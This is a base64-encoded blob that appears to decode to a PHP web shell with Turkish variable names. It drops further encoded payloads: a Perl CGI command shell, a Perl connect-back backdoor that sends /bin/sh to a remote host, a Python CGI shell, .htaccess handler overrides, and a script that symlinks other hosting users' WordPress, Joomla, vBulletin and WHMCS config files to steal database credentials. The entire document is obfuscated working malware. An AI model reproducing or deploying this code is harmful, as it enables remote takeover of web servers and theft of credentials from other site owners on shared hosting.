WelpYSWdkMkZ1ZEhNZw0KZEc4Z2NuVnVJR0VnWTI5dGJXRnVaQTBLZXcwS0NTWkZlR1ZqZFhSbFEyOXRiV0Z1WkRzTkNuME5DbVZzYzJsbUtDUkJZM1JwYjI0Zw0KWlhFZ0luVndiRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCMWNHeHZZV1FnWVNCbWFXeGxEUXA3RFFvSkpsVndiRzloWkVacA0KYkdVN0RRcDlEUXBsYkhOcFppZ2tRV04wYVc5dUlHVnhJQ0prYjNkdWJHOWhaQ0lwSUNNZ2RYTmxjaUIzWVc1MGN5QjBieUJrYjNkdQ0KYkc5aFpDQmhJR1pwYkdVTkNuc05DZ2ttUkc5M2JteHZZV1JHYVd4bE93MEtmUTBLWld4emFXWW9KRUZqZEdsdmJpQmxjU0FpYkc5bg0KYjNWMElpa2dJeUIxYzJWeUlIZGhiblJ6SUhSdklHeHZaMjkxZEEwS2V3MEtDU1pRWlhKbWIzSnRURzluYjNWME93MEtmUT09JzsNCg0KJGZpbGUgPSBmb3BlbigiaXpvLmNpbiIgLCJ3KyIpOw0KJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY2dpc2hlbGxpem9jaW4pKTsNCmZjbG9zZSgkZmlsZSk7DQogICAgY2htb2QoIml6by5jaW4iLDA3NTUpOw0KJG5ldGNhdHNoZWxsID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzRFFvZ0lDQWdJQ0IxYzJVZ1UyOWphMlYwT3cwS0lDQWdJQ0FnY0hKcGJuUWdJa1JoZEdFZ1EyaGgNCk1ITWdRMjl1Ym1WamRDQkNZV05ySUVKaFkydGtiMjl5WEc1Y2JpSTdEUW9nSUNBZ0lDQnBaaUFvSVNSQlVrZFdXekJkS1NCN0RRb2cNCklDQWdJQ0FnSUhCeWFXNTBaaUFpVlhOaFoyVTZJQ1F3SUZ0SWIzTjBYU0E4VUc5eWRENWNiaUk3RFFvZ0lDQWdJQ0FnSUdWNGFYUW8NCk1TazdEUW9nSUNBZ0lDQjlEUW9nSUNBZ0lDQndjbWx1ZENBaVd5cGRJRVIxYlhCcGJtY2dRWEpuZFcxbGJuUnpYRzRpT3cwS0lDQWcNCklDQWdKR2h2YzNRZ1BTQWtRVkpIVmxzd1hUc05DaUFnSUNBZ0lDUndiM0owSUQwZ09EQTdEUW9nSUNBZ0lDQnBaaUFvSkVGU1IxWmINCk1WMHBJSHNOQ2lBZ0lDQWdJQ0FnSkhCdmNuUWdQU0FrUVZKSFZsc3hYVHNOQ2lBZ0lDQWdJSDBOQ2lBZ0lDQWdJSEJ5YVc1MElDSmINCktsMGdRMjl1Ym1WamRHbHVaeTR1TGx4dUlqc05DaUFnSUNBZ0lDUndjbTkwYnlBOUlHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW4NCktTQjhmQ0JrYVdVb0lsVnVhMjV2ZDI0Z1VISnZkRzlqYjJ4Y2JpSXBPdzBLSUNBZ0lDQWdjMjlqYTJWMEtGTkZVbFpGVWl3Z1VFWmYNClNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lDUndjbTkwYnlrZ2ZId2daR2xsSUNnaVUyOWphMlYwSUVWeWNtOXlYRzRpS1RzTkNpQWcNCklDQWdJRzE1SUNSMFlYSm5aWFFnUFNCcGJtVjBYMkYwYjI0b0pHaHZjM1FwT3cwS0lDQWdJQ0FnYVdZZ0tDRmpiMjV1WldOMEtGTkYNClVsWkZVaXdnY0dGamF5QWlVMjVCTkhnNElpd2dNaXdnSkhCdmNuUXNJQ1IwWVhKblpYUXBLU0I3RFFvZ0lDQWdJQ0FnSUdScFpTZ2kNClZXNWhZbXhsSUhSdklFTnZibTVsWTNSY2JpSXBPdzBLSUNBZ0lDQWdmUTBLSUNBZ0lDQWdjSEpwYm5RZ0lsc3FYU0JUY0dGM2JtbHUNClp5QlRhR1ZzYkZ4dUlqc05DaUFnSUNBZ0lHbG1JQ2doWm05eWF5Z2dLU2tnZXcwS0lDQWdJQ0FnSUNCdmNHVnVLRk5VUkVsT0xDSSsNCkpsTkZVbFpGVWlJcE93MEtJQ0FnSUNBZ0lDQnZjR1Z1S0ZOVVJFOVZWQ3dpUGlaVFJWSldSVklpS1RzTkNpQWdJQ0FnSUNBZ2IzQmwNCmJpaFRWRVJGVWxJc0lqNG1VMFZTVmtWU0lpazdEUW9nSUNBZ0lDQWdJR1Y0WldNZ2V5Y3ZZbWx1TDNOb0ozMGdKeTFpWVhOb0p5QXUNCklDSmNNQ0lnZUNBME93MEtJQ0FnSUNBZ0lDQmxlR2wwS0RBcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQkUNCllYUmhZMmhsWkZ4dVhHNGlPdz09JzsNCg0KJGZpbGUgPSBmb3BlbigiZGMucGwiICwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJG5ldGNhdHNoZWxsKSk7DQpmY2xvc2UoJGZpbGUpOw0KICAgIGNobW9kKCJkYy5wbCIsMDc1NSk7DQplY2hvICI8aWZyYW1lIHNyYz1jZ2lzaGVsbC9pem8uY2luIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsNCn0NCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDE0J10pKQ0Kew0KICAgIG1rZGlyKCdweXRob24nLCAwNzU1KTsNCiAgICBjaGRpcigncHl0aG9uJyk7DQogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOw0KICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7DQogICAgICAgICRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJEb3N5YSBhw6fEsWxhbWFkxLEhIik7DQogICAgICAgICRtZXRpbiA9ICJBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLml6byI7ICAgIA0KICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7DQogICAgICAgIGZjbG9zZSAoJGRvc3lhKTsNCiRweXRob25wID0gJ0l5RXZkWE55TDJKcGJpOXdlWFJvYjI0S0l5QXdOeTB3Tnkwd05Bb2pJSFl4TGpBdU1Bb0tJeUJqWjJrdGMyaGxiR3d1Y0hrS0l5QkINCklITnBiWEJzWlNCRFIwa2dkR2hoZENCbGVHVmpkWFJsY3lCaGNtSnBkSEpoY25rZ2MyaGxiR3dnWTI5dGJXRnVaSE11Q2dvS0l5QkQNCmIzQjVjbWxuYUhRZ1RXbGphR0ZsYkNCR2IyOXlaQW9qSUZsdmRTQmhjbVVnWm5KbFpTQjBieUJ0YjJScFpua3NJSFZ6WlNCaGJtUWcNCmNtVnNhV05sYm5ObElIUm9hWE1nWTI5a1pTNEtDaU1nVG04Z2QyRnljbUZ1ZEhrZ1pYaHdjbVZ6Y3lCdmNpQnBiWEJzYVdWa0lHWnYNCmNpQjBhR1VnWVdOamRYSmhZM2tzSUdacGRHNWxjM01nZEc4Z2NIVnljRzl6WlNCdmNpQnZkR2hsY25kcGMyVWdabTl5SUhSb2FYTWcNClkyOWtaUzR1TGk0S0l5QlZjMlVnWVhRZ2VXOTFjaUJ2ZDI0Z2NtbHpheUFoSVNFS0NpTWdSUzF0WVdsc0lHMXBZMmhoWld3Z1FWUWcNClptOXZjbVFnUkU5VUlHMWxJRVJQVkNCMWF3b2pJRTFoYVc1MFlXbHVaV1FnWVhRZ2QzZDNMblp2YVdSemNHRmpaUzV2Y21jdWRXc3YNCllYUnNZVzUwYVdKdmRITXZjSGwwYUc5dWRYUnBiSE11YUhSdGJBb0tJaUlpQ2tFZ2MybHRjR3hsSUVOSFNTQnpZM0pwY0hRZ2RHOGcNClpYaGxZM1YwWlNCemFHVnNiQ0JqYjIxdFlXNWtjeUIyYVdFZ1EwZEpMZ29pSWlJS0l5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoNCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXdvaklFbHRjRzl5ZEhNS2RISjUNCk9nb2dJQ0FnYVcxd2IzSjBJR05uYVhSaU95QmpaMmwwWWk1bGJtRmliR1VvS1FwbGVHTmxjSFE2Q2lBZ0lDQndZWE56Q21sdGNHOXkNCmRDQnplWE1zSUdObmFTd2diM01LYzNsekxuTjBaR1Z5Y2lBOUlITjVjeTV6ZEdSdmRYUUtabkp2YlNCMGFXMWxJR2x0Y0c5eWRDQnoNCmRISm1kR2x0WlFwcGJYQnZjblFnZEhKaFkyVmlZV05yQ21aeWIyMGdVM1J5YVc1blNVOGdhVzF3YjNKMElGTjBjbWx1WjBsUENtWnkNCmIyMGdkSEpoWTJWaVlXTnJJR2x0Y0c5eWRDQndjbWx1ZEY5bGVHTUtDaU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoNCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TUtJeUJqYjI1emRHRnVkSE1LQ21admJuUnMNCmFXNWxJRDBnSnp4R1QwNVVJRU5QVEU5U1BTTTBNalF5TkRJZ2MzUjViR1U5SW1admJuUXRabUZ0YVd4NU9uUnBiV1Z6TzJadmJuUXQNCmMybDZaVG94TW5CME95SStKd3AyWlhKemFXOXVjM1J5YVc1bklEMGdKMVpsY25OcGIyNGdNUzR3TGpBZ04zUm9JRXAxYkhrZ01qQXcNCk5DY0tDbWxtSUc5ekxtVnVkbWx5YjI0dWFHRnpYMnRsZVNnaVUwTlNTVkJVWDA1QlRVVWlLVG9LSUNBZ0lITmpjbWx3ZEc1aGJXVWcNClBTQnZjeTVsYm5acGNtOXVXeUpUUTFKSlVGUmZUa0ZOUlNKZENtVnNjMlU2Q2lBZ0lDQnpZM0pwY0hSdVlXMWxJRDBnSWlJS0NrMUYNClZFaFBSQ0E5SUNjaVVFOVRWQ0luQ2dvakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoNCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qQ2lNZ1VISnBkbUYwWlNCbWRXNWpkR2x2Ym5NZ1lXNWtJSFpoY21saFlteGwNCmN3b0taR1ZtSUdkbGRHWnZjbTBvZG1Gc2RXVnNhWE4wTENCMGFHVm1iM0p0TENCdWIzUndjbVZ6Wlc1MFBTY25LVG9LSUNBZ0lDSWkNCklsUm9hWE1nWm5WdVkzUnBiMjRzSUdkcGRtVnVJR0VnUTBkSklHWnZjbTBzSUdWNGRISmhZM1J6SUhSb1pTQmtZWFJoSUdaeWIyMGcNCmFYUXNJR0poYzJWa0lHOXVDaUFnSUNCMllXeDFaV3hwYzNRZ2NHRnpjMlZrSUdsdUxpQkJibmtnYm05dUxYQnlaWE5sYm5RZ2RtRnMNCmRXVnpJR0Z5WlNCelpYUWdkRzhnSnljZ0xTQmhiSFJvYjNWbmFDQjBhR2x6SUdOaGJpQmlaU0JqYUdGdVoyVmtMZ29nSUNBZ0tHVXUNClp5NGdkRzhnY21WMGRYSnVJRTV2Ym1VZ2MyOGdlVzkxSUdOaGJpQjBaWE4wSUdadmNpQnRhWE56YVc1bklHdGxlWGR2Y21SeklDMGcNCmQyaGxjbVVnSnljZ2FYTWdZU0IyWVd4cFpDQmhibk4zWlhJZ1luVjBJSFJ2SUdoaGRtVWdkR2hsSUdacFpXeGtJRzFwYzNOcGJtY2cNCmFYTnVKM1F1S1NJaUlnb2dJQ0FnWkdGMFlTQTlJSHQ5Q2lBZ0lDQm1iM0lnWm1sbGJHUWdhVzRnZG1Gc2RXVnNhWE4wT2dvZ0lDQWcNCklDQWdJR2xtSUc1dmRDQjBhR1ZtYjNKdExtaGhjMTlyWlhrb1ptbGxiR1FwT2dvZ0lDQWdJQ0FnSUNBZ0lDQmtZWFJoVzJacFpXeGsNClhTQTlJRzV2ZEhCeVpYTmxiblFLSUNBZ0lDQWdJQ0JsYkhObE9nb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlBZ2RIbHdaU2gwYUdWbWIzSnQNClcyWnBaV3hrWFNrZ0lUMGdkSGx3WlNoYlhTazZDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmtZWFJoVzJacFpXeGtYU0E5SUhSb1pXWnYNCmNtMWJabWxsYkdSZExuWmhiSFZsQ2lBZ0lDQWdJQ0FnSUNBZ0lHVnNjMlU2Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0IyWVd4MVpYTWcNClBTQnRZWEFvYkdGdFltUmhJSGc2SUhndWRtRnNkV1VzSUhSb1pXWnZjbTFiWm1sbGJHUmRLU0FnSUNBZ0l5QmhiR3h2ZDNNZ1ptOXkNCklHeHBjM1FnZEhsd1pTQjJZV3gxWlhNS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdSaGRHRmJabWxsYkdSZElEMGdkbUZzZFdWekNpQWcNCklDQnlaWFIxY200Z1pHRjBZUW9LQ25Sb1pXWnZjbTFvWldGa0lEMGdJaUlpUEVoVVRVdytQRWhGUVVRK1BGUkpWRXhGUG1ObmFTMXoNCmFHVnNiQzV3ZVNBdElHRWdRMGRKSUdKNUlFWjFlbnA1YldGdVBDOVVTVlJNUlQ0OEwwaEZRVVErQ2p4Q1QwUlpQanhEUlU1VVJWSSsNCkNqeElNVDVYWld4amIyMWxJSFJ2SUdObmFTMXphR1ZzYkM1d2VTQXRJRHhDVWo1aElGQjVkR2h2YmlCRFIwazhMMGd4UGdvOFFqNDgNClNUNUNlU0JHZFhwNmVXMWhiand2UWo0OEwwaytQRUpTUGdvaUlpSXJabTl1ZEd4cGJtVWdLeUpXWlhKemFXOXVJRG9nSWlBcklIWmwNCmNuTnBiMjV6ZEhKcGJtY2dLeUFpSWlJc0lGSjFibTVwYm1jZ2IyNGdPaUFpSWlJZ0t5QnpkSEptZEdsdFpTZ25KVWs2SlUwZ0pYQXMNCklDVkJJQ1ZrSUNWQ0xDQWxXU2NwS3ljdVBDOURSVTVVUlZJK1BFSlNQaWNLQ25Sb1pXWnZjbTBnUFNBaUlpSThTREkrUlc1MFpYSWcNClEyOXRiV0Z1WkR3dlNESStDanhHVDFKTklFMUZWRWhQUkQxY0lpSWlJaUFySUUxRlZFaFBSQ0FySUNjaUlHRmpkR2x2YmowaUp5QXINCklITmpjbWx3ZEc1aGJXVWdLeUFpSWlKY0lqNEtQR2x1Y0hWMElHNWhiV1U5WTIxa0lIUjVjR1U5ZEdWNGRENDhRbEkrQ2p4cGJuQjENCmRDQjBlWEJsUFhOMVltMXBkQ0IyWVd4MVpUMGlVM1ZpYldsMElqNDhRbEkrQ2p3dlJrOVNUVDQ4UWxJK1BFSlNQaUlpSWdwaWIyUjUNClpXNWtJRDBnSnp3dlFrOUVXVDQ4TDBoVVRVdytKd3BsY25KdmNtMWxjM01nUFNBblBFTkZUbFJGVWo0OFNESStVMjl0WlhSb2FXNW4NCklGZGxiblFnVjNKdmJtYzhMMGd5UGp4Q1VqNDhVRkpGUGljS0NpTWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoNCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNS0l5QnRZV2x1SUdKdlpIa2diMllnZEdobElITmoNCmNtbHdkQW9LYVdZZ1gxOXVZVzFsWDE4Z1BUMGdKMTlmYldGcGJsOWZKem9LSUNBZ0lIQnlhVzUwSUNKRGIyNTBaVzUwTFhSNWNHVTYNCklIUmxlSFF2YUhSdGJDSWdJQ0FnSUNBZ0lDQWpJSFJvYVhNZ2FYTWdkR2hsSUdobFlXUmxjaUIwYnlCMGFHVWdjMlZ5ZG1WeUNpQWcNCklDQndjbWx1ZENBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSXlCemJ5QnBjeUIwYUdseklHSnMNCllXNXJJR3hwYm1VS0lDQWdJR1p2Y20wZ1BTQmpaMmt1Um1sbGJHUlRkRzl5WVdkbEtDa0tJQ0FnSUdSaGRHRWdQU0JuWlhSbWIzSnQNCktGc25ZMjFrSjEwc1ptOXliU2tLSUNBZ0lIUm9aV050WkNBOUlHUmhkR0ZiSjJOdFpDZGRDaUFnSUNCd2NtbHVkQ0IwYUdWbWIzSnQNCmFHVmhaQW9nSUNBZ2NISnBiblFnZEdobFptOXliUW9nSUNBZ2FXWWdkR2hsWTIxa09nb2dJQ0FnSUNBZ0lIQnlhVzUwSUNjOFNGSSsNClBFSlNQanhDVWo0bkNpQWdJQ0FnSUNBZ2NISnBiblFnSnp4Q1BrTnZiVzFoYm1RZ09pQW5MQ0IwYUdWamJXUXNJQ2M4UWxJK1BFSlMNClBpY0tJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVnpkV3gwSURvZ1BFSlNQanhDVWo0bkNpQWdJQ0FnSUNBZ2RISjVPZ29nSUNBZ0lDQWcNCklDQWdJQ0JqYUdsc1pGOXpkR1JwYml3Z1kyaHBiR1JmYzNSa2IzVjBJRDBnYjNNdWNHOXdaVzR5S0hSb1pXTnRaQ2tLSUNBZ0lDQWcNCklDQWdJQ0FnWTJocGJHUmZjM1JrYVc0dVkyeHZjMlVvS1FvZ0lDQWdJQ0FnSUNBZ0lDQnlaWE4xYkhRZ1BTQmphR2xzWkY5emRHUnYNCmRYUXVjbVZoWkNncENpQWdJQ0FnSUNBZ0lDQWdJR05vYVd4a1gzTjBaRzkxZEM1amJHOXpaU2dwQ2lBZ0lDQWdJQ0FnSUNBZ0lIQnkNCmFXNTBJSEpsYzNWc2RDNXlaWEJzWVdObEtDZGNiaWNzSUNjOFFsSStKeWtLQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRVY0WTJWd2RHbHYNCmJpd2daVG9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0l5QmhiaUJsY25KdmNpQnBiaUJsZUdWamRYUnBibWNnZEdobElHTnYNCmJXMWhibVFLSUNBZ0lDQWdJQ0FnSUNBZ2NISnBiblFnWlhKeWIzSnRaWE56Q2lBZ0lDQWdJQ0FnSUNBZ0lHWWdQU0JUZEhKcGJtZEoNClR5Z3BDaUFnSUNBZ0lDQWdJQ0FnSUhCeWFXNTBYMlY0WXlobWFXeGxQV1lwQ2lBZ0lDQWdJQ0FnSUNBZ0lHRWdQU0JtTG1kbGRIWmgNCmJIVmxLQ2t1YzNCc2FYUnNhVzVsY3lncENpQWdJQ0FnSUNBZ0lDQWdJR1p2Y2lCc2FXNWxJR2x1SUdFNkNpQWdJQ0FnSUNBZ0lDQWcNCklDQWdJQ0J3Y21sdWRDQnNhVzVsQ2dvZ0lDQWdjSEpwYm5RZ1ltOWtlV1Z1WkFvS0NpSWlJZ3BVVDBSUEwwbFRVMVZGVXdvS0NncEQNClNFRk9SMFZNVDBjS0NqQTNMVEEzTFRBMElDQWdJQ0FnSUNCV1pYSnphVzl1SURFdU1DNHdDa0VnZG1WeWVTQmlZWE5wWXlCemVYTjANClpXMGdabTl5SUdWNFpXTjFkR2x1WnlCemFHVnNiQ0JqYjIxdFlXNWtjeTRLU1NCdFlYa2daWGh3WVc1a0lHbDBJR2x1ZEc4Z1lTQncNCmNtOXdaWElnSjJWdWRtbHliMjV0Wlc1MEp5QjNhWFJvSUhObGMzTnBiMjRnY0dWeWMybHpkR1Z1WTJVdUxpNEtJaUlpJzsNCg0KJGZpbGUgPSBmb3BlbigicHl0aG9uLml6byIgLCJ3KyIpOw0KJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkcHl0aG9ucCkpOw0KZmNsb3NlKCRmaWxlKTsNCiAgICBjaG1vZCgicHl0aG9uLml6byIsMDc1NSk7DQogICBlY2hvICI8aWZyYW1lIHNyYz1weXRob24vcHl0aG9uLml6byB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7DQp9DQppZiAoaXNzZXQoJF9QT1NUWydTdWJtaXQxMSddKSkNCnsNCiAgICBta2RpcignYWxsY29uZmlnJywgMDc1NSk7DQogICAgY2hkaXIoJ2FsbGNvbmZpZycpOw0KICAgICAgICAka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsNCiAgICAgICAgJGRvc3lhX2FkaSA9ICIka29rZG9zeWEiOw0KICAgICAgICAkZG9zeWEgPSBmb3BlbiAoJGRvc3lhX2FkaSAsICd3Jykgb3IgZGllICgiRG9zeWEgYcOnxLFsYW1hZMSxISIpOw0KICAgICAgICAkbWV0aW4gPSAiQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pem8iOyAgICANCiAgICAgICAgZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOw0KICAgICAgICBmY2xvc2UgKCRkb3N5YSk7DQokY29uZmlnc2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV2x1Q25CeWFXNTBJQ0pEYjI1MFpXNTBMWFI1Y0dVNklIUmxlSFF2YUhSdGJGeHVYRzRpT3dwd2NtbHVkQ2M4SVVSUFExUlpVRVVnYUhSdGJDQlFWVUpNU1VNZ0lpMHZMMWN6UXk4dlJGUkVJRmhJVkUxTUlERXVNQ0JVY21GdWMybDBhVzl1WVd3dkwwVk9JaUFpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2VkZJdmVHaDBiV3d4TDBSVVJDOTRhSFJ0YkRFdGRISmhibk5wZEdsdmJtRnNMbVIwWkNJK0NqeG9kRzFzSUhodGJHNXpQU0pvZEhSd09pOHZkM2QzTG5jekxtOXlaeTh4T1RrNUwzaG9kRzFzSWo0S1BHaGxZV1ErQ2p4dFpYUmhJR2gwZEhBdFpYRjFhWFk5SWtOdmJuUmxiblF0VEdGdVozVmhaMlVpSUdOdmJuUmxiblE5SW1WdUxYVnpJaUF2UGdvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DSWdMejRLUEhScGRHeGxQbHQrWFNCRGVXSXpjaTFFV2lCRGIyNW1hV2NnTFNCYmZsMGdQQzkwYVhSc1pUNEtQSE4wZVd4bElIUjVjR1U5SW5SbGVIUXZZM056SWo0S0xtNWxkMU4wZVd4bE1TQjdDaUJtYjI1MExXWmhiV2xzZVRvZ1ZHRm9iMjFoT3dvZ1ptOXVkQzF6YVhwbE9pQjRMWE50WVd4c093b2dabTl1ZEMxM1pXbG5hSFE2SUdKdmJHUTdDaUJqYjJ4dmNqb2dJekF3UmtaR1Jqc0tJQ0IwWlhoMExXRnNhV2R1T2lCalpXNTBaWEk3Q24wS1BDOXpkSGxzWlQ0S1BDOW9aV0ZrUGdvbk93cHpkV0lnYkdsc2V3b2dJQ0FnS0NSMWMyVnlLU0E5SUVCZk93b2tiWE55SUQwZ2NYaDdjSGRrZlRzS0pHdHZiR0U5SkcxemNpNGlMeUl1SkhWelpYSTdDaVJyYjJ4aFBYNXpMMXh1THk5bk95QUtjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMmx1WTJ4MVpHVnpMMk52Ym1acFozVnlaUzV3YUhBbkxDUnJiMnhoTGljdGMyaHZjQzUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkZ0WlcxaVpYSXZZMjl1Wm1sbkxtbHVZeTV3YUhBbkxDUnJiMnhoTGljdFlXMWxiV0psY2k1MGVIUW5LVHNLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtWnBaeTVwYm1NdWNHaHdKeXdrYTI5c1lTNG5MV0Z0WlcxaVpYSXlMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZiV1Z0WW1WeWN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MXRaVzFpWlhKekxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp6SXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOW1iM0oxYlM5cGJtTnNkV1JsY3k5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxXWnZjblZ0TG5SNGRDY3BPd3B6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WVdSdGFXNHZZMjl1Wmk1d2FIQW5MQ1JyYjJ4aExpYzFMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZV1J0YVc0dlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp6UXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFhkd01UTXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWliRzluTDNkd0xXTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpY3RkM0F0WW14dlp5NTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTnZibVpmWjJ4dlltRnNMbkJvY0Njc0pHdHZiR0V1SnpZdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5cGJtTnNkV1JsTDJSaUxuQm9jQ2NzSkd0dmJHRXVKemN1ZEhoMEp5azdDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYjI1dVpXTjBMbkJvY0Njc0pHdHZiR0V1SnpndWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dGExOWpiMjVtTG5Cb2NDY3NKR3R2YkdFdUp6a3VkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXBibU5zZFdSbEwyTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpY3hNaTUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMnB2YjIxc1lTOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MXFiMjl0YkdFdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5MllpOXBibU5zZFdSbGN5OWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWFppTG5SNGRDY3BPd3B6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YVc1amJIVmtaWE12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkxcGJtTnNkV1JsY3kxMllpNTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZG9iUzlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKeTEzYUcweE5TNTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZG9iV012WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0ZDJodFl6RTJMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkMmh0WTNNdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGljdGQyaHRZM011ZEhoMEp5azdDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl6ZFhCd2IzSjBMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MWE4xY0hCdmNuUXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp6RjNhRzFqY3k1MGVIUW5LVHNLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFz